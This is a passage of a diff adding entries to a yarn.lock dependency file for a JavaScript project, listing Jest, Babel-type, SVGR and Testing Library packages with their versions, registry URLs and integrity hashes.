sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ== + dependencies: + "@hapi/address" "2.x.x" + "@hapi/bourne" "1.x.x" + "@hapi/hoek" "8.x.x" + "@hapi/topo" "3.x.x" + +"@hapi/topo@3.x.x": + version "3.1.6" + resolved "https://registry.yarnpkg.com/@hapi/topo/-/topo-3.1.6.tgz#68d935fa3eae7fdd5ab0d7f953f3205d8b2bfc29" + integrity sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ== + dependencies: + "@hapi/hoek" "^8.3.0" + +"@istanbuljs/load-nyc-config@^1.0.0": + version "1.1.0" + resolved "https://registry.yarnpkg.com/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced" + integrity sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ== + dependencies: + camelcase "^5.3.1" + find-up "^4.1.0" + get-package-type "^0.1.0" + js-yaml "^3.13.1" + resolve-from "^5.0.0" + +"@istanbuljs/schema@^0.1.2": + version "0.1.3" + resolved "https://registry.yarnpkg.com/@istanbuljs/schema/-/schema-0.1.3.tgz#e45e384e4b8ec16bce2fd903af78450f6bf7ec98" + integrity sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA== + +"@jest/console@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/console/-/console-26.6.2.tgz#4e04bc464014358b03ab4937805ee36a0aeb98f2" + integrity sha512-IY1R2i2aLsLr7Id3S6p2BA82GNWryt4oSvEXLAKc+L2zdi89dSkE8xC1C+0kpATG4JhBJREnQOH7/zmccM2B0g== + dependencies: + "@jest/types" "^26.6.2" + "@types/node" "*" + chalk "^4.0.0" + jest-message-util "^26.6.2" + jest-util "^26.6.2" + slash "^3.0.0" + +"@jest/core@^26.6.0", "@jest/core@^26.6.3": + version "26.6.3" + resolved "https://registry.yarnpkg.com/@jest/core/-/core-26.6.3.tgz#7639fcb3833d748a4656ada54bde193051e45fad" + integrity sha512-xvV1kKbhfUqFVuZ8Cyo+JPpipAHHAV3kcDBftiduK8EICXmTFddryy3P7NfZt8Pv37rA9nEJBKCCkglCPt/Xjw== + dependencies: + "@jest/console" "^26.6.2" + "@jest/reporters" "^26.6.2" + "@jest/test-result" "^26.6.2" + "@jest/transform" "^26.6.2" + "@jest/types" "^26.6.2" + "@types/node" "*" + ansi-escapes "^4.2.1" + chalk "^4.0.0" + exit "^0.1.2" + graceful-fs "^4.2.4" + jest-changed-files "^26.6.2" + jest-config "^26.6.3" + jest-haste-map "^26.6.2" + jest-message-util "^26.6.2" + jest-regex-util "^26.0.0" + jest-resolve "^26.6.2" + jest-resolve-dependencies "^26.6.3" + jest-runner "^26.6.3" + jest-runtime "^26.6.3" + jest-snapshot "^26.6.2" + jest-util "^26.6.2" + jest-validate "^26.6.2" + jest-watcher "^26.6.2" + micromatch "^4.0.2" + p-each-series "^2.1.0" + rimraf "^3.0.0" + slash "^3.0.0" + strip-ansi "^6.0.0" + +"@jest/environment@^26.6.0", "@jest/environment@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/environment/-/environment-26.6.2.tgz#ba364cc72e221e79cc8f0a99555bf5d7577cf92c" + integrity sha512-nFy+fHl28zUrRsCeMB61VDThV1pVTtlEokBRgqPrcT1JNq4yRNIyTHfyht6PqtUvY9IsuLGTrbG8kPXjSZIZwA== + dependencies: + "@jest/fake-timers" "^26.6.2" + "@jest/types" "^26.6.2" + "@types/node" "*" + jest-mock "^26.6.2" + +"@jest/fake-timers@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/fake-timers/-/fake-timers-26.6.2.tgz#459c329bcf70cee4af4d7e3f3e67848123535aad" + integrity sha512-14Uleatt7jdzefLPYM3KLcnUl1ZNikaKq34enpb5XG9i81JpppDb5muZvonvKyrl7ftEHkKS5L5/eB/kxJ+bvA== + dependencies: + "@jest/types" "^26.6.2" + "@sinonjs/fake-timers" "^6.0.1" + "@types/node" "*" + jest-message-util "^26.6.2" + jest-mock "^26.6.2" + jest-util "^26.6.2" + +"@jest/globals@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/globals/-/globals-26.6.2.tgz#5b613b78a1aa2655ae908eba638cc96a20df720a" + integrity sha512-85Ltnm7HlB/KesBUuALwQ68YTU72w9H2xW9FjZ1eL1U3lhtefjjl5c2MiUbpXt/i6LaPRvoOFJ22yCBSfQ0JIA== + dependencies: + "@jest/environment" "^26.6.2" + "@jest/types" "^26.6.2" + expect "^26.6.2" + +"@jest/reporters@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/reporters/-/reporters-26.6.2.tgz#1f518b99637a5f18307bd3ecf9275f6882a667f6" + integrity sha512-h2bW53APG4HvkOnVMo8q3QXa6pcaNt1HkwVsOPMBV6LD/q9oSpxNSYZQYkAnjdMjrJ86UuYeLo+aEZClV6opnw== + dependencies: + "@bcoe/v8-coverage" "^0.2.3" + "@jest/console" "^26.6.2" + "@jest/test-result" "^26.6.2" + "@jest/transform" "^26.6.2" + "@jest/types" "^26.6.2" + chalk "^4.0.0" + collect-v8-coverage "^1.0.0" + exit "^0.1.2" + glob "^7.1.2" + graceful-fs "^4.2.4" + istanbul-lib-coverage "^3.0.0" + istanbul-lib-instrument "^4.0.3" + istanbul-lib-report "^3.0.0" + istanbul-lib-source-maps "^4.0.0" + istanbul-reports "^3.0.2" + jest-haste-map "^26.6.2" + jest-resolve "^26.6.2" + jest-util "^26.6.2" + jest-worker "^26.6.2" + slash "^3.0.0" + source-map "^0.6.0" + string-length "^4.0.1" + terminal-link "^2.0.0" + v8-to-istanbul "^7.0.0" + optionalDependencies: + node-notifier "^8.0.0" + +"@jest/source-map@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/source-map/-/source-map-26.6.2.tgz#29af5e1e2e324cafccc936f218309f54ab69d535" + integrity sha512-YwYcCwAnNmOVsZ8mr3GfnzdXDAl4LaenZP5z+G0c8bzC9/dugL8zRmxZzdoTl4IaS3CryS1uWnROLPFmb6lVvA== + dependencies: + callsites "^3.0.0" + graceful-fs "^4.2.4" + source-map "^0.6.0" + +"@jest/test-result@^26.6.0", "@jest/test-result@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/test-result/-/test-result-26.6.2.tgz#55da58b62df134576cc95476efa5f7949e3f5f18" + integrity sha512-5O7H5c/7YlojphYNrK02LlDIV2GNPYisKwHm2QTKjNZeEzezCbwYs9swJySv2UfPMyZ0VdsmMv7jIlD/IKYQpQ== + dependencies: + "@jest/console" "^26.6.2" + "@jest/types" "^26.6.2" + "@types/istanbul-lib-coverage" "^2.0.0" + collect-v8-coverage "^1.0.0" + +"@jest/test-sequencer@^26.6.3": + version "26.6.3" + resolved "https://registry.yarnpkg.com/@jest/test-sequencer/-/test-sequencer-26.6.3.tgz#98e8a45100863886d074205e8ffdc5a7eb582b17" + integrity sha512-YHlVIjP5nfEyjlrSr8t/YdNfU/1XEt7c5b4OxcXCjyRhjzLYu/rO69/WHPuYcbCWkz8kAeZVZp2N2+IOLLEPGw== + dependencies: + "@jest/test-result" "^26.6.2" + graceful-fs "^4.2.4" + jest-haste-map "^26.6.2" + jest-runner "^26.6.3" + jest-runtime "^26.6.3" + +"@jest/transform@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/transform/-/transform-26.6.2.tgz#5ac57c5fa1ad17b2aae83e73e45813894dcf2e4b" + integrity sha512-E9JjhUgNzvuQ+vVAL21vlyfy12gP0GhazGgJC4h6qUt1jSdUXGWJ1wfu/X7Sd8etSgxV4ovT1pb9v5D6QW4XgA== + dependencies: + "@babel/core" "^7.1.0" + "@jest/types" "^26.6.2" + babel-plugin-istanbul "^6.0.0" + chalk "^4.0.0" + convert-source-map "^1.4.0" + fast-json-stable-stringify "^2.0.0" + graceful-fs "^4.2.4" + jest-haste-map "^26.6.2" + jest-regex-util "^26.0.0" + jest-util "^26.6.2" + micromatch "^4.0.2" + pirates "^4.0.1" + slash "^3.0.0" + source-map "^0.6.1" + write-file-atomic "^3.0.0" + +"@jest/types@^26.6.0", "@jest/types@^26.6.2": + version "26.6.2" + resolved "https://registry.yarnpkg.com/@jest/types/-/types-26.6.2.tgz#bef5a532030e1d88a2f5a6d933f84e97226ed48e" + integrity sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ== + dependencies: + "@types/istanbul-lib-coverage" "^2.0.0" + "@types/istanbul-reports" "^3.0.0" + "@types/node" "*" + "@types/yargs" "^15.0.0" + chalk "^4.0.0" + +"@nodelib/fs.scandir@2.1.4": + version "2.1.4" + resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz#d4b3549a5db5de2683e0c1071ab4f140904bbf69" + integrity sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA== + dependencies: + "@nodelib/fs.stat" "2.0.4" + run-parallel "^1.1.9" + +"@nodelib/fs.stat@2.0.4", "@nodelib/fs.stat@^2.0.2": + version "2.0.4" + resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz#a3f2dd61bab43b8db8fa108a121cfffe4c676655" + integrity sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q== + +"@nodelib/fs.walk@^1.2.3": + version "1.2.6" + resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz#cce9396b30aa5afe9e3756608f5831adcb53d063" + integrity sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow== + dependencies: + "@nodelib/fs.scandir" "2.1.4" + fastq "^1.6.0" + +"@npmcli/move-file@^1.0.1": + version "1.1.2" + resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674" + integrity sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg== + dependencies: + mkdirp "^1.0.4" + rimraf "^3.0.2" + +"@pmmmwh/react-refresh-webpack-plugin@0.4.3": + version "0.4.3" + resolved "https://registry.yarnpkg.com/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.4.3.tgz#1eec460596d200c0236bf195b078a5d1df89b766" + integrity sha512-br5Qwvh8D2OQqSXpd1g/xqXKnK0r+Jz6qVKBbWmpUcrbGOxUrf39V5oZ1876084CGn18uMdR5uvPqBv9UqtBjQ== + dependencies: + ansi-html "^0.0.7" + error-stack-parser "^2.0.6" + html-entities "^1.2.1" + native-url "^0.2.6" + schema-utils "^2.6.5" + source-map "^0.7.3" + +"@rollup/plugin-node-resolve@^7.1.1": + version "7.1.3" + resolved "https://registry.yarnpkg.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-7.1.3.tgz#80de384edfbd7bfc9101164910f86078151a3eca" + integrity sha512-RxtSL3XmdTAE2byxekYLnx+98kEUOrPHF/KRVjLH+DEIHy6kjIw7YINQzn+NXiH/NTrQLAwYs0GWB+csWygA9Q== + dependencies: + "@rollup/pluginutils" "^3.0.8" + "@types/resolve" "0.0.8" + builtin-modules "^3.1.0" + is-module "^1.0.0" + resolve "^1.14.2" + +"@rollup/plugin-replace@^2.3.1": + version "2.4.1" + resolved "https://registry.yarnpkg.com/@rollup/plugin-replace/-/plugin-replace-2.4.1.tgz#c411b5ab72809fb1bfc8b487d8d02eef661460d3" + integrity sha512-XwC1oK5rrtRJ0tn1ioLHS6OV5JTluJF7QE1J/q1hN3bquwjnVxjtMyY9iCnoyH9DQbf92CxajB3o98wZbP3oAQ== + dependencies: + "@rollup/pluginutils" "^3.1.0" + magic-string "^0.25.7" + +"@rollup/pluginutils@^3.0.8", "@rollup/pluginutils@^3.1.0": + version "3.1.0" + resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-3.1.0.tgz#706b4524ee6dc8b103b3c995533e5ad680c02b9b" + integrity sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg== + dependencies: + "@types/estree" "0.0.39" + estree-walker "^1.0.1" + picomatch "^2.2.2" + +"@sinonjs/commons@^1.7.0": + version "1.8.2" + resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.8.2.tgz#858f5c4b48d80778fde4b9d541f27edc0d56488b" + integrity sha512-sruwd86RJHdsVf/AtBoijDmUqJp3B6hF/DGC23C+JaegnDHaZyewCjoVGTdg3J0uz3Zs7NnIT05OBOmML72lQw== + dependencies: + type-detect "4.0.8" + +"@sinonjs/fake-timers@^6.0.1": + version "6.0.1" + resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz#293674fccb3262ac782c7aadfdeca86b10c75c40" + integrity sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA== + dependencies: + "@sinonjs/commons" "^1.7.0" + +"@surma/rollup-plugin-off-main-thread@^1.1.1": + version "1.4.2" + resolved "https://registry.yarnpkg.com/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-1.4.2.tgz#e6786b6af5799f82f7ab3a82e53f6182d2b91a58" + integrity sha512-yBMPqmd1yEJo/280PAMkychuaALyQ9Lkb5q1ck3mjJrFuEobIfhnQ4J3mbvBoISmR3SWMWV+cGB/I0lCQee79A== + dependencies: + ejs "^2.6.1" + magic-string "^0.25.0" + +"@svgr/babel-plugin-add-jsx-attribute@^5.4.0": + version "5.4.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz#81ef61947bb268eb9d50523446f9c638fb355906" + integrity sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg== + +"@svgr/babel-plugin-remove-jsx-attribute@^5.4.0": + version "5.4.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz#6b2c770c95c874654fd5e1d5ef475b78a0a962ef" + integrity sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg== + +"@svgr/babel-plugin-remove-jsx-empty-expression@^5.0.1": + version "5.0.1" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz#25621a8915ed7ad70da6cea3d0a6dbc2ea933efd" + integrity sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA== + +"@svgr/babel-plugin-replace-jsx-attribute-value@^5.0.1": + version "5.0.1" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz#0b221fc57f9fcd10e91fe219e2cd0dd03145a897" + integrity sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ== + +"@svgr/babel-plugin-svg-dynamic-title@^5.4.0": + version "5.4.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz#139b546dd0c3186b6e5db4fefc26cb0baea729d7" + integrity sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg== + +"@svgr/babel-plugin-svg-em-dimensions@^5.4.0": + version "5.4.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz#6543f69526632a133ce5cabab965deeaea2234a0" + integrity sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw== + +"@svgr/babel-plugin-transform-react-native-svg@^5.4.0": + version "5.4.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz#00bf9a7a73f1cad3948cdab1f8dfb774750f8c80" + integrity sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q== + +"@svgr/babel-plugin-transform-svg-component@^5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz#583a5e2a193e214da2f3afeb0b9e8d3250126b4a" + integrity sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ== + +"@svgr/babel-preset@^5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/babel-preset/-/babel-preset-5.5.0.tgz#8af54f3e0a8add7b1e2b0fcd5a882c55393df327" + integrity sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig== + dependencies: + "@svgr/babel-plugin-add-jsx-attribute" "^5.4.0" + "@svgr/babel-plugin-remove-jsx-attribute" "^5.4.0" + "@svgr/babel-plugin-remove-jsx-empty-expression" "^5.0.1" + "@svgr/babel-plugin-replace-jsx-attribute-value" "^5.0.1" + "@svgr/babel-plugin-svg-dynamic-title" "^5.4.0" + "@svgr/babel-plugin-svg-em-dimensions" "^5.4.0" + "@svgr/babel-plugin-transform-react-native-svg" "^5.4.0" + "@svgr/babel-plugin-transform-svg-component" "^5.5.0" + +"@svgr/core@^5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/core/-/core-5.5.0.tgz#82e826b8715d71083120fe8f2492ec7d7874a579" + integrity sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ== + dependencies: + "@svgr/plugin-jsx" "^5.5.0" + camelcase "^6.2.0" + cosmiconfig "^7.0.0" + +"@svgr/hast-util-to-babel-ast@^5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz#5ee52a9c2533f73e63f8f22b779f93cd432a5461" + integrity sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ== + dependencies: + "@babel/types" "^7.12.6" + +"@svgr/plugin-jsx@^5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz#1aa8cd798a1db7173ac043466d7b52236b369000" + integrity sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA== + dependencies: + "@babel/core" "^7.12.3" + "@svgr/babel-preset" "^5.5.0" + "@svgr/hast-util-to-babel-ast" "^5.5.0" + svg-parser "^2.0.2" + +"@svgr/plugin-svgo@^5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz#02da55d85320549324e201c7b2e53bf431fcc246" + integrity sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ== + dependencies: + cosmiconfig "^7.0.0" + deepmerge "^4.2.2" + svgo "^1.2.2" + +"@svgr/webpack@5.5.0": + version "5.5.0" + resolved "https://registry.yarnpkg.com/@svgr/webpack/-/webpack-5.5.0.tgz#aae858ee579f5fa8ce6c3166ef56c6a1b381b640" + integrity sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g== + dependencies: + "@babel/core" "^7.12.3" + "@babel/plugin-transform-react-constant-elements" "^7.12.1" + "@babel/preset-env" "^7.12.1" + "@babel/preset-react" "^7.12.5" + "@svgr/core" "^5.5.0" + "@svgr/plugin-jsx" "^5.5.0" + "@svgr/plugin-svgo" "^5.5.0" + loader-utils "^2.0.0" + +"@testing-library/dom@^7.28.1": + version "7.31.2" + resolved "https://registry.yarnpkg.com/@testing-library/dom/-/dom-7.31.2.tgz#df361db38f5212b88555068ab8119f5d841a8c4a" + integrity sha512-3UqjCpey6HiTZT92vODYLPxTBWlM8ZOOjr3LX5F37/VRipW2M1kX6I/Cm4VXzteZqfGfagg8yXywpcOgQBlNsQ== + dependencies: + "@babel/code-frame" "^7.10.4" + "@babel/runtime" "^7.12.5" + "@types/aria-query" "^4.2.0" + aria-query "^4.2.2" + chalk "^4.1.0" + dom-accessibility-api "^0.5.6" + lz-string "^1.4.4" + pretty-format "^26.6.2" + +"@testing-library/jest-dom@^5.11.4": + version "5.14.1" + resolved "https://registry.yarnpkg.com/@testing-library/jest-dom/-/jest-dom-5.14.1.tgz#8501e16f1e55a55d675fe73eecee32cdaddb9766" + integrity sha512-dfB7HVIgTNCxH22M1+KU6viG5of2ldoA5ly8Ar8xkezKHKXjRvznCdbMbqjYGgO2xjRbwnR+rR8MLUIqF3kKbQ== + dependencies: + "@babel/runtime" "^7.9.2" + "@types/testing-library__jest-dom" "^5.9.1" + aria-query "^4.2.2" + chalk "^3.0.0" + css "^3.0.0" + css.escape "^1.5.1" + dom-accessibility-api "^0.5.6" + lodash "^4.17.15" + redent "^3.0.0" + +"@testing-library/react@^11.1.0": + version "11.2.7" + resolved "https://registry.yarnpkg.com/@testing-library/react/-/react-11.2.7.tgz#b29e2e95c6765c815786c0bc1d5aed9cb2bf7818" + integrity sha512-tzRNp7pzd5QmbtXNG/mhdcl7Awfu/Iz1RaVHY75zTdOkmHCuzMhRL83gWHSgOAcjS3CCbyfwUHMZgRJb4kAfpA== + dependencies: + "@babel/runtime" "^7.12.5" + "@testing-library/dom" "^7.28.1" + +"@testing-library/user-event@^12.1.10": + version "12.8.3" + resolved "https://registry.yarnpkg.com/@testing-library/user-event/-/user-event-12.8.3.tgz#1aa3ed4b9f79340a1e1836bc7f57c501e838704a" + integrity sha512-IR0iWbFkgd56Bu5ZI/ej8yQwrkCv8Qydx6RzwbKz9faXazR/+5tvYKsZQgyXJiwgpcva127YO6JcWy7YlCfofQ== + dependencies: + "@babel/runtime" "^7.12.5" + +"@types/anymatch@*": + version "1.3.1" + resolved "https://registry.yarnpkg.com/@types/anymatch/-/anymatch-1.3.1.tgz#336badc1beecb9dacc38bea2cf32adf627a8421a" + integrity sha512-/+CRPXpBDpo2RK9C68N3b2cOvO0Cf5B9aPijHsoDQTHivnGSObdOF2BRQOYjojWTDy6nQvMjmqRXIxH55VjxxA== + +"@types/aria-query@^4.2.0": + version "4.2.1" + resolved "https://registry.yarnpkg.com/@types/aria-query/-/aria-query-4.2.1.tgz#78b5433344e2f92e8b306c06a5622c50c245bf6b" + integrity sha512-S6oPal772qJZHoRZLFc/XoZW2gFvwXusYUmXPXkgxJLuEk2vOt7jc4Yo6z/vtI0EBkbPBVrJJ0B+prLIKiWqHg== + +"@types/babel__core@^7.0.0", "@types/babel__core@^7.1.7": + version "7.1.12" + resolved "https://registry.yarnpkg.com/@types/babel__core/-/babel__core-7.1.12.tgz#4d8e9e51eb265552a7e4f1ff2219ab6133bdfb2d" + integrity sha512-wMTHiiTiBAAPebqaPiPDLFA4LYPKr6Ph0Xq/6rq1Ur3v66HXyG+clfR9CNETkD7MQS8ZHvpQOtA53DLws5WAEQ== + dependencies: + "@babel/parser" "^7.1.0" + "@babel/types" "^7.0.0" + "@types/babel__generator" "*" + "@types/babel__template" "*" + "@types/babel__traverse" "*" + +"@types/babel__generator@*": + version "7.6.2" + resolved "https://registry.yarnpkg.com/@types/babel__generator/-/babel__generator-7.6.2.tgz#f3d71178e187858f7c45e30380f8f1b7415a12d8" + integrity sha512-MdSJnBjl+bdwkLskZ3NGFp9YcXGx5ggLpQQPqtgakVhsWK0hTtNYhjpZLlWQTviGTvF8at+Bvli3jV7faPdgeQ== + dependencies: + "@babel/types" "^7.0.0" + +"@types/babel__template@*": + version "7.4.0" + resolved "https://registry.yarnpkg.com/@types/babel__template/-/babel__template-7.4.0.tgz#0c888dd70b3ee9eebb6e4f200e809da0076262be" + integrity sha512-NTPErx4/FiPCGScH7foPyr+/1Dkzkni+rHiYHHoTjvwou7AQzJkNeD60A9CXRy+ZEN2B1bggmkTMCDb+Mv5k+A== + dependencies: + "@babel/parser" "^7.1.0" + "@babel/types" "^7.0.0" + +"@types/babel__traverse@*", "@types/babel__traverse@^7.0.4", "@types/babel__traverse@^7.0.6": + version "7.11.0" + resolved "https://registry.yarnpkg.com/@types/babel__traverse/-/babel__traverse-7.11.0.tgz#b9a1efa635201ba9bc850323a8793ee2d36c04a0" + integrity sha512-kSjgDMZONiIfSH1Nxcr5JIRMwUetDki63FSQfpTCz8ogF3Ulqm8+mr5f78dUYs6vMiB6gBusQqfQmBvHZj/lwg== + dependencies: + "@babel/types" "^7.3.0" + +"@types/eslint@^7.2.6": + version "7.2.6" + resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-7.2.6.tgz#5e9aff555a975596c03a98b59ecd103decc70c3c" + integrity sha512-I+1sYH+NPQ3/tVqCeUSBwTE/0heyvtXqpIopUUArlBm0Kpocb8FbMa3AZ/ASKIFpN3rnEx932TTXDbt9OXsNDw== + dependencies: + "@types/estree" "*" + "@types/json-schema" "*" + +"@types/estree@*": + version "0.0.46" + resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.46.tgz#0fb6bfbbeabd7a30880504993369c4bf1deab1fe" + integrity sha512-laIjwTQaD+5DukBZaygQ79K1Z0jb1bPEMRrkXSLjtCcZm+abyp5YbrqpSLzD42FwWW6gK/aS4NYpJ804nG2brg== + +"@types/estree@0.0.39": + version "0.0.39" + resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.39.tgz#e177e699ee1b8c22d23174caaa7422644389509f" + integrity sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw== + +"@types/glob@^7.1.1": + version "7.1.3" + resolved "https://registry.yarnpkg.com/@types/glob/-/glob-7.1.3.tgz#e6ba80f36b7daad2c685acd9266382e68985c183" + integrity sha512-SEYeGAIQIQX8NN6LDKprLjbrd5dARM5EXsd8GI/A5l0apYI1fGMWgPHSe4ZKL4eozlAyI+doUE9XbYS4xCkQ1w== + dependencies: + "@types/minimatch" "*" + "@types/node" "*" + +"@types/graceful-fs@^4.1.2": + version "4.1.5" + resolved "https://registry.yarnpkg.com/@types/graceful-fs/-/graceful-fs-4.1.5.tgz#21ffba0d98da4350db64891f92a9e5db3cdb4e15" + integrity sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw== + dependencies: + "@types/node" "*" + +"@types/html-minifier-terser@^5.0.0": + version "5.1.1" + resolved "https://registry.yarnpkg.com/@types/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz#3c9ee980f1a10d6021ae6632ca3e79ca2ec4fb50" + integrity sha512-giAlZwstKbmvMk1OO7WXSj4OZ0keXAcl2TQq4LWHiiPH2ByaH7WeUzng+Qej8UPxxv+8lRTuouo0iaNDBuzIBA== + +"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1": + version "2.0.3" + resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz#4ba8ddb720221f432e443bd5f9117fd22cfd4762" + integrity sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw== + +"@types/istanbul-lib-report@*": + version "3.0.0" + resolved 